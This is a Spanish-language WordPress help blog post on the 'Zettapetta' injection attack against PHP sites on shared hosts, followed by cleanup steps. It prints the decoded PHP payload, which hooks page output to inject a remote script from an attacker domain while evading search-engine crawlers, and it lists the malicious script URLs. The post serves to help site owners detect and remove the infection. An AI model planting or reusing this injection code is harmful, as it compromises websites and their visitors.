Desde hace unos días hay nuevas noticias de ataques a sitios que estén basados en PHP, como lo está WordPress, y hoy ya puedo dar indicaciones algo claras al respecto, perdonad el retraso no obstante.

Lo primero a aclarar es que no es un ataque masivo a WordPress, sino que esta inyección de código afecta a cualquier web basada en PHP y, a día de hoy, el otro dato relevante es que además compartan servidor, no está pasando en servidores dedicados. De hecho, si fuera un ataque masivo a WordPress habría muchos más sitios infectados, dado la enorme implantación que a día de hoy (gracias a vosotros) tiene este CMS.

Esto nos hace pensar en dos posibles causas, una segura. La primera es que el atacante utiliza vulnerabilidades de seguridad del servidor en el que está alojado y que comparte con otros sitios, y la segunda que algo está permitiendo que el código se inyecte en los ficheros PHP de los sitios atacados, ya sea un plugin mal diseñado, una mala configuración de seguridad del CMS utilizado. No obstante yo apuesto por la primera opción porque el Zettapetta este ha infectado sitios estáticos en donde había un par de ficheros PHP sueltos y, como ya he dicho, si fuera algo especial para WordPress estaríamos todos infectados, o casi, y no es así.

Este caso es especialito, porque incluso hay un vídeo en el que el supuesto causante explica como inyectar código en servidores compartidos de Networks Solutions ¡sin tener que robar nombres de usuario y/o contraseñas!

Afortunadamente hay solución.

Los atacantes están infectando las webs con un script que trata de inyectar software malicioso a los sitios «cliente» y, además, evita que los mecánismos anti-malware que incluyen los modernos navegadores como Firefox y Safari puedan detectarlo.

El script afecta a cualquier servidor compartido, y ya se han comprobado ataques en varios proveedores de hosting de primer nivel, como Mediatemple.

En los sitios atacados se insertaba este javascript:

http://www.indesignstudioinfo.com/ls.php

http://zettapetta.com/js.php

Y lo que hace el Zettapetta este de las narices es añadir un montón de código en base64 al principio de todos los ficheros PHP que se encontrara en el servidor, recursivamente. Vamos, que si entra en tu WordPress infecta todos los ficheros ‘core’, los de los plugins, los temas, todo, hasta el wp-config.php y los index.php habitualmente vacíos.

Una vez descodificado el base64 lo que contiene es esto:

PHP:

  1. if(function_exists(‘ob_start’)&&!isset($GLOBALS[‘mr_no’])){ $GLOBALS[‘mr_no’]=1; if(!function_exists(‘mrobh’)){ if(!function_exists(‘gml’)){ function gml(){ if (!stristr($_SERVER[«HTTP_USER_AGENT»],«googlebot»)&& (!stristr($_SERVER[«HTTP_USER_AGENT»],«yahoo»))){ return base64_decode("<script src="http://indesignstudioinfo.com/ls.php"></script>"); } return ""; } } if(!function_exists('gzdecode')){ function gzdecode(<script src="http://indesignstudioinfo.com/ls.php"></script>){ $R30B2AB8DC1496D06B230A71D8962AF5D=@ord(@substr($R5A9CF1B497502ACA23C8F611A564684C,3,1)); $RBE4C4D037E939226F65812885A53DAD9=10; $RA3D52E52A48936CDE0F5356BB08652F2=0; if($R30B2AB8DC1496D06B230A71D8962AF5D&4){ $R63BEDE6B19266D4EFEAD07A4D91E29EB=@unpack('v',substr($R5A9CF1B497502ACA23C8F611A564684C,10,2)); $R63BEDE6B19266D4EFEAD07A4D91E29EB=$R63BEDE6B19266D4EFEAD07A4D91E29EB[1]; $RBE4C4D037E939226F65812885A53DAD9+=2+$R63BEDE6B19266D4EFEAD07A4D91E29EB; } if($R30B2AB8DC1496D06B230A71D8962AF5D&8){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&16){ $RBE4C4D037E939226F65812885A53DAD9=@strpos($R5A9CF1B497502ACA23C8F611A564684C,chr(0),$RBE4C4D037E939226F65812885A53DAD9)+1; } if($R30B2AB8DC1496D06B230A71D8962AF5D&2){ $RBE4C4D037E939226F65812885A53DAD9+=2; } $R034AE2AB94F99CC81B389A1822DA3353=@gzinflate(@substr($R5A9CF1B497502ACA23C8F611A564684C,$RBE4C4D037E939226F65812885A53DAD9)); if($R034AE2AB94F99CC81B389A1822DA3353===FALSE){ $R034AE2AB94F99CC81B389A1822DA3353=$R5A9CF1B497502ACA23C8F611A564684C; } return $R034AE2AB94F99CC81B389A1822DA3353; } } function mrobh($RE82EE9B121F709895EF54EBA7FA6B78B){ Header('Content-Encoding: none'); $RA179ABD3A7B9E28C369F7B59C51B81DE=gzdecode($RE82EE9B121F709895EF54EBA7FA6B78B); if(preg_match('/\<\/body/si',$RA179ABD3A7B9E28C369F7B59C51B81DE)){ return preg_replace('/(\<\/body[^\>]*\>)/si',gml()."\n".'$1',$RA179ABD3A7B9E28C369F7B59C51B81DE); }else{ return $RA179ABD3A7B9E28C369F7B59C51B81DE.gml(); } } ob_start('mrobh'); } }

El bicho tiene tela así que a limpiar se ha dicho … 

Lo primero es probar el hack que han elaborado en Securi.net. Descargas este archivo a tu escritorio:
http://sucuri.net/malware/helpers/wordpress-fix_php.txt y lo renombras a wordpress-fix.php

Una vez hecho esto lo subes a tu sitio por FTP y lo ejecutas desde el navegador. O sea: http://miweb.com/wordpress-fix.php

El script tarda unos minutos en completarse ya que escanea todo tu sitio y quita las entradas de malware, recursivamente también.

Cuando termine puedes borrar el archivo y, a continuación, para asegurar que dejas todo limpio, seguir estas indicaciones, las de siempre:

  • Exporta todo tu contenido mediante la utilidad de exportación de WordPress y guarda la carpeta wp-content así como cualquier otra que utilices de modo manual. Revisa tu tema, plugins y carpetas de uploads, etc, antes de darlos por seguros.
  • Revisa el fichero wp-config.php para eliminar cualquier posible inyección de código, cambia los permisos a 644 o, mucho mejor, carga un wp-config.php totalmente limpio.
  • Cambia todas las contraseñas: ftp, base de datos. Usa contraseñas fuertes, usando caracteres alfanuméricos y símbolos
  • Como el problema afecta a la base de datos hay que descartarla. Borra la actual y crea una nueva o, en su defecto, revisa cada una de las tablas
  • Borra todo el contenido de la instalación actual de WordPress (recuerda que antes has hecho backup)
  • Instala un WordPress limpio (última versión), usando la información de la nueva base de datos recién creada
  • Carga tu carpeta wp-content de nuevo, una vez comprobado que todo está limpio
  • Importa los posts de tu sitio que exportaste con la utilidad de importación de WordPress
  • Configura tu WordPress de manera segura siguiendo las instrucciones de los enlaces facilitados

¡Que el backup te acompañe!

Contenido exclusivo para suscriptores al Feed

¡Gracias por seguirnos a diario!. Premiamos tu fidelidad ofreciéndote habitualmente contenidos exclusivos. Hoy puedes descargar:

Clic aquí para iniciar la descarga Guía para Administrar WordPress

Publicado desde .

¿Te gustó este post? ¡Compártelo!

Bitacoras.com
TwitThis
Facebook
Meneame
Google Bookmarks
del.icio.us
Live
Technorati
Ping.fm
Wikio
Turn this article into a PDF!
E-mail this story to a friend!
Print this article!

Via http://feedproxy.google.com/~r/AyudaWordpress/~3/Oj1D0BMqkXM/

Related Posts with Thumbnails
Tagged with:  

Comments are closed.

WordPress Blog